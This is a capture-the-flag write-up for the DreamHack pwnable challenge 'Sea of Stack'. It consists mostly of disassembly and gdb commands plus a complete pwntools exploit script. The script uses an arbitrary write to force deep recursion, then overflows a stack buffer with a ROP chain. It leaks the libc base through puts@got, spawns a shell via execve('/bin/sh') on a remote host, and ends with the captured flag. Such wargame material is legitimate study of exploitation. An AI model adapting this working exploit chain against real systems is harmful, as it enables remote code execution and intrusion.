[🥈 Silver 2] 스택을 깊이 파고들어 거대 오버플로우 되살리기 — DreamHack Sea of Stack 풀이

file extracted/deploy/prob && pwn checksec extracted/deploy/prob

objdump -d -M intel --start-address=0x401480 --stop-address=0x401520 extracted/deploy/prob | sed -f solve/caps/annot_main.sed

objdump -d -M intel --start-address=0x4013f0 --stop-address=0x401446 extracted/deploy/prob | sed -f solve/caps/annot_unsafe.sed

# solve/caps/arb.gdb
set pagination off
break *0x4014cd
run < solve/caps/arb_input.bin
printf "*safe   (0x404010) = %p    <- main(0x401446) 으로 덮임\n", *(void**)0x404010
printf "*unsafe (0x404018) = %p    <- 그대로(unsafe_func 0x401426)\n", *(void**)0x404018

gdb -q -iex "set debuginfod enabled off" -batch -x solve/caps/arb.gdb ./extracted/deploy/prob

# solve/caps/crash.gdb
set pagination off
run < solve/caps/crash_input.bin
x/i $pc
printf "fault write ptr (rdx) = %p   현재 rsp = %p\n", $rdx, $rsp
bt 3

gdb -q -iex "set debuginfod enabled off" -batch -x solve/caps/crash.gdb ./extracted/deploy/prob

ROPgadget --binary extracted/deploy/prob          > solve/caps/gadgets_prob.txt
ROPgadget --binary solve/caps/system_libc.so.6    > solve/caps/gadgets_libc.txt
grep -E " : (pop rdi ; nop ; pop rbp ; ret|ret)$"       solve/caps/gadgets_prob.txt
grep -E " : (pop rsi ; ret|pop rdx ; pop rbx ; ret)$"   solve/caps/gadgets_libc.txt

python3 solve/caps/libc_check.py

#!/usr/bin/env python3
# Sea of Stack — DreamHack (Silver 2, pwnable)
import sys
from pwn import *
 
context.arch = 'amd64'
context.log_level = 'info'
 
BASE   = '/home/jinho/Dev/Hacking_Project/워게임/2_Silver_2/sea-of-stack'
REMOTE = len(sys.argv) > 1 and sys.argv[1] == 'remote'
# Dockerfile 의 LD_PRELOAD 는 런타임 무효 → 서비스는 시스템 libc 로 돈다.
# 제공 libc 와 시스템 libc 의 오프셋이 같아 어느 쪽으로 풀어도 동일하다.
LIBC_PATH = (BASE + '/extracted/deploy/libc.so.6') if REMOTE else '/tmp/container_libc.so.6'
libc = ELF(LIBC_PATH, checksec=False)
 
# --- binary (No PIE, base 0x400000) ---
MAIN     = 0x401446
SAFE     = 0x404010                       # &safe 함수 포인터
POP_RDI  = 0x40129b                       # pop rdi ; nop ; pop rbp ; ret
RET      = 0x40101a                       # ret  (16바이트 정렬용)
PUTS_PLT = 0x4010c0
PUTS_GOT = 0x403fa8
MAGIC    = b'Decision2Solve\x00\x00'       # 16바이트, 매직 널 종료
 
DEPTH = 1500                              # 재귀 깊이 (~0x40/층 >> 0x10000)
OFF   = 0x28                              # unsafe_func 복귀 주소 오프셋
BIG   = 0x10000                           # unsafe_func read 크기
 
def conn():
    if REMOTE:
        return remote(sys.argv[2], int(sys.argv[3]))
    return remote('127.0.0.1', 31337)
 
def payload(rop):
    return (b'A' * OFF + rop).ljust(BIG, b'A')
 
def enter_main(io, first=False):
    # 새 main 진입 상태. 키를 넣는다. 최초 호출에서만 *safe = main 임의쓰기.
    io.recvuntil(b'> ')                   # "If you really want...> "
    if first:
        io.send(MAGIC)                    # key (strcmp 통과)
        io.send(p64(SAFE))                # where (8바이트)
        io.send(p64(MAIN)[:6])            # what  (6바이트) -> *safe = main
    else:
        io.send(b'A' * 16)                # 매직 불일치 -> 쓰기 분기 스킵
    io.recvuntil(b'> ')                   # "Sea of Stack ... > " 메뉴
 
def exploit(io):
    # ---- 1단: 깊이 다이브 -> unsafe BOF -> puts 릭 -> main 복귀 ----
    enter_main(io, first=True)
    io.send(b'1')                         # choice 1 -> *safe == main -> 재귀
    for _ in range(DEPTH - 1):
        enter_main(io)
        io.send(b'1')
 
    enter_main(io)                        # 가장 깊은 프레임
    io.send(b'2')                         # choice 2 -> unsafe_func
    io.send(payload(flat(POP_RDI, PUTS_GOT, 0, PUTS_PLT, RET, MAIN)))
 
    leak = u64(io.recvn(6).ljust(8, b'\x00'))
    base = leak - libc.symbols['puts']
    if base & 0xfff:
        raise ValueError('unaligned leak %#x' % leak)
    libc.address = base
    log.success('puts@got leak = %#x   libc base = %#x', leak, base)
 
    # ---- 2단: 여전히 깊음 -> unsafe BOF -> execve("/bin/sh", 0, 0) ----
    enter_main(io)                        # main 이 여기로 복귀, 다이브 유지
    io.send(b'2')
    binsh       = next(libc.search(b'/bin/sh\x00'))
    pop_rsi     = libc.address + 0x2be51  # pop rsi ; ret
    pop_rdx_rbx = libc.address + 0x90529  # pop rdx ; pop rbx ; ret
    execve      = libc.symbols['execve']
    io.send(payload(flat(POP_RDI, binsh, 0,
                         pop_rsi, 0,
                         pop_rdx_rbx, 0, 0,
                         execve)))
 
def main():
    io = conn()
    exploit(io)
    io.sendline(b'echo PWNED_$((21*2)); id; cat /flag')
    resp = io.recvrepeat(3)
    sys.stdout.write(resp.decode(errors='replace'))
    if b'PWNED_42' in resp or b'DH{' in resp:
        if REMOTE and sys.stdin.isatty():
            io.interactive()
        io.close()
        return True
    io.close()
    return False
 
if __name__ == '__main__':
    sys.exit(0 if main() else 1)

python3 solve/solve.py

python3 solve/solve.py remote host3.dreamhack.games 16381

DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}